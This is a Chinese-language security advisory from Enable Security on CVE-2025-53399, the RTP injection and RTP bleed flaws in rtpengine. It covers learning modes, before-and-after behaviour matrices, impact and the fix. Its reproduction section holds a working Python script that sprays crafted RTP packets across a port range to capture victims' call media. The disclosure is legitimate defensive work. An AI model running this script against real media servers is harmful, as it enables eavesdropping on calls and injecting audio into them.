Rtpengine: RTP注入与RTP泄露漏洞(CVSS v4.0评分:9.3/严重)
漏洞概述
- CVSS v4.0评分:9.3(严重)
- 可利用性:高
- 复杂度:低
- 受影响系统:中等
- 后续系统:中等
- 利用影响:高
- 安全要求:高
- 向量:CVSS计算器链接
- 其他参考:CVE-2025-53399(CVE记录)
- 修复版本:≥ mr13.4.1.1(发布页面)
- Enable Security公告:ES2025-01详细
- 测试受影响版本:mr13.3.1.4及更低版本
- 时间线:
- 首次报告:2025-04-24
- 分类处理:2025-04-30
- 提供修复测试:2025-05-05
- 多次往返和更多修复:2025-05/2025-06
- 供应商满意地应用所有修复到主分支:2025-06-05
- Enable Security验证并确认修复:2025-06-26
- 供应商发布修复版本(mr13.4.1.1):2025-07-03
- Enable Security公告:2025-07-31
描述
媒体服务器通常支持源地址学习,以动态适应网络条件和客户端行为。这在涉及NAT的场景中尤其有用,因为传入RTP数据包的源IP和端口可能与通过SIP over SDP最初信令的不同。然而,如果恶意数据包被接受为合法,此机制可能被利用进行两种攻击:
- RTP泄露 - 受害者的媒体(如音频)可以被重定向到攻击者控制的主机
- RTP注入 - 攻击者可以将任意RTP数据包插入活动通话中
注意:这两种攻击都不要求攻击者充当中间人。
此外,当rtpengine在易受攻击的版本中中继SRTP数据包时,它不验证其认证标签,尽管SRTP应该保证机密性和完整性,但仍然允许RTP泄露和RTP注入。它不丢弃缺失或无效认证标签的数据包,而是转发它们进行处理。
本公告的目的是描述安全修复,旨在尽可能完全解决或至少减轻这些RTP泄露和RTP注入攻击。虽然由于RTP学习机制的内在性质,完全消除这些漏洞可能并不总是可行,但修复提供了安全态势的显著改进。
技术细节
Rtpengine通过--endpoint-learning
选项提供以下学习模式:
- delayed(默认):在延迟后从接收到的第一个RTP数据包学习源地址前等待3秒
- immediate:从第一个传入数据包立即学习地址,无延迟
- no-learning:完全禁用学习,这是唯一不脆弱但可能破坏NAT后客户端连接的模式
- heuristic:结合3秒延迟和排名系统,优先匹配原始SDP的地址,必要时回退到部分匹配或任何观察到的地址
此外,rtpengine支持可选的严格源标志,强制持续检查传入RTP数据包的源地址和端口。它在学习阶段后执行此操作,强制执行先前学习的内容。严格源标志旨在防止RTP注入,但需要学习模式按预期工作才能正确运行。
通常推荐的缓解措施是利用SRTP,假设rtpengine会丢弃任何认证标签检查失败的RTP数据包。然而,在rtpengine mr13.3.1.4及更低版本中,使用SDES-SRTP时并非如此。
以下是rtpengine版本mr13.3.1.4及更低版本的行为矩阵,显示不同学习模式和标志。此表显示,除了严格源与无学习组合外,没有学习模式或严格源减轻了所述攻击:
Delayed | Heuristic | No learning | Immediate | |
---|---|---|---|---|
no strict source | Inject, Bleed | Inject, Bleed | Inject only | Inject, Bleed |
strict source | Inject, Bleed | Inject, Bleed | No Inject or Bleed | Inject, Bleed |
无论rtpengine中继明文RTP还是SDES-SRTP,都出现相同行为。即使正确的IP和端口通过SDP交换,启发式标志也未防止RTP泄露或RTP注入攻击。
更新版本中,rtpengine的启发式行为已更改,因此学习模式按预期行为,为管理员提供减轻这些漏洞的机会,同时仍处理NAT复杂性。
以下是相同行为矩阵,但使用修复版本:
Delayed | Heuristic | No learning | Immediate | |
---|---|---|---|---|
no strict source | Inject, Bleed | Inject, <5 packets Bleed | Inject only | Inject, Bleed |
strict source | Inject, Bleed | <5 packets Inject, <5 packets Bleed | No Inject or Bleed | Inject, Bleed |
这意味着使用更新版本,启发式模式将攻击限制在最多前5个数据包,用于注入和泄露。 我们认为,在许多实时环境中,推荐的设置是使用启发式学习与严格源,这保持了端点学习的灵活性,同时显著减轻RTP注入和RTP泄露攻击。
对于SDES-SRTP,我们还建议使用启发式学习模式与严格源,这保持了端点学习的灵活性,同时减轻RTP注入和RTP泄露。然而,对于SRTP的完全保护,通过添加新的recrypt标志引入了特定于SRTP的补丁。此标志强制rtpengine解密然后重新加密RTP数据包,从而在任何进一步处理前验证认证标签。这确保未认证的数据包被丢弃。此新标志应与先前推荐的学习模式和标志一起使用。
SDES-SRTP的修补版本行为矩阵,有和无recrypt:
Delayed | Heuristic | No-learning | Immediate | |
---|---|---|---|---|
Without recrypt | Inject, Bleed | Inject, <5 packets Bleed | Inject only | Inject, Bleed |
With recrypt | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed |
DTLS-SRTP的特殊情况,通常用于WebRTC环境,被发现易受RTP泄露但不受RTP注入影响。这是由于在此情况下应用的逻辑,学习模式发生在RTP数据包被正确验证之前。这也收到了安全修复。
影响
在明文RTP的情况下,此漏洞允许攻击者执行RTP注入以及RTP泄露。RTP注入影响媒体的完整性,而RTP泄露影响通话的机密性。
在rtpengine中继明文RTP以及中继SRTP(在易受攻击版本中)的情况下,漏洞将导致拒绝服务,因为RTP数据包将发送给攻击者而不是合法接收者。
如何复现问题
要以可靠方式复现此问题,安全测试员需要三个不同方,每个都有自己的IP地址:
- 易受攻击的rtpengine服务器
- 攻击者节点
- 受害者用户节点
步骤:
-
在攻击者节点上运行tcpdump以监视来自目标的传入数据包:
1
tcpdump -iany -w /tmp/rtpbleed.pcap src host <target_ip> and not icmp
-
将以下Python脚本保存为sprayrtp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import socket, argparse parser = argparse.ArgumentParser(description="Spray simple RTP packets over a port range") parser.add_argument("target", help="Target IP address") parser.add_argument("start_port", type=int, help="First UDP port to spray") parser.add_argument("end_port", type=int, help="Last UDP port to spray") args = parser.parse_args() rtppacket=[0x80, 0x0, 0xee, 0x3c, 0x4, 0x42, 0xa2, 0xc1, 0xef, 0xa, 0x7, 0xde] rtppacket+=[0x0 for _ in range(160)] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: for port in range(args.start_port, args.end_port + 1): sock.sendto(bytes(rtppacket), (args.target, port))
-
在攻击者节点上针对目标运行脚本:
1
python3 sprayrtp.py <target_ip> <start_port> <end_port>
-
从受害者用户节点,拨打多个使用SRTP的通话。
-
观察攻击者节点上的tcpdump将显示来自易受攻击目标的传入数据包。
注意:SIP信令服务器(如Kamailio或OpenSIPS)通常也是设置的一部分。
解决方案和建议
建议升级到修复版本,并完全禁用学习或使用启发式学习模式与严格源标志结合。使用SDES-SRTP时,建议同时使用严格源和recrypt标志以获得完全保护。虽然启发式模式的修复已向后移植到早期版本,但新的recrypt标志仅在最新版本中可用。对于DTLS-SRTP,已进行修复,因此SRTP验证在学习模式之前发生。我们强烈建议升级以访问这些安全功能。
包含修复的第一个版本可在https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1获得。
关于Enable Security
Enable Security(https://www.enablesecurity.com)提供高质量的渗透测试,帮助保护您的实时通信系统免受攻击。
免责声明
公告中的信息在发布时基于当前可用信息被认为是准确的。使用此信息构成按"原样"条件接受的用途。此信息无任何保证。作者和出版商均不对因使用或依赖此信息而产生的任何直接、间接或后果性损失或损害承担任何责任。
披露政策
本报告受Enable Security的漏洞披露政策约束,可在https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy找到。